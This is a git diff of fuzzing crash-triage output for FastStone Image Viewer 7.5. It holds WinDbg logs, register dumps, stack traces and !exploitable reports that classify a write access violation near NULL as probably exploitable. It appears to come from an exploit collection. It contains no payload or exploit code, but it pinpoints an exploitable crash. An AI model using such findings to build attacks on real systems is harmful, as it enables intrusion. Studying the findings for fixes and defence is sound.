Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..792a175 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CE4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CE4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ce4.10f4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.748550200000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.13113e-026 -23.2166 -1.23471e+037 1.18594e-008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00372000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00372000 358a1353 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ab 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00372000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..801295a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..50748c6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..cebb72c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xFF0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xFF0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ff0.1098): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=0fcbcfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.278060000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.27649 -1.75353e+006 -2.54852e-030 -3.87364e+024 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00227000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00227000 66558037 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00227000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..cebb72c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xFF0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 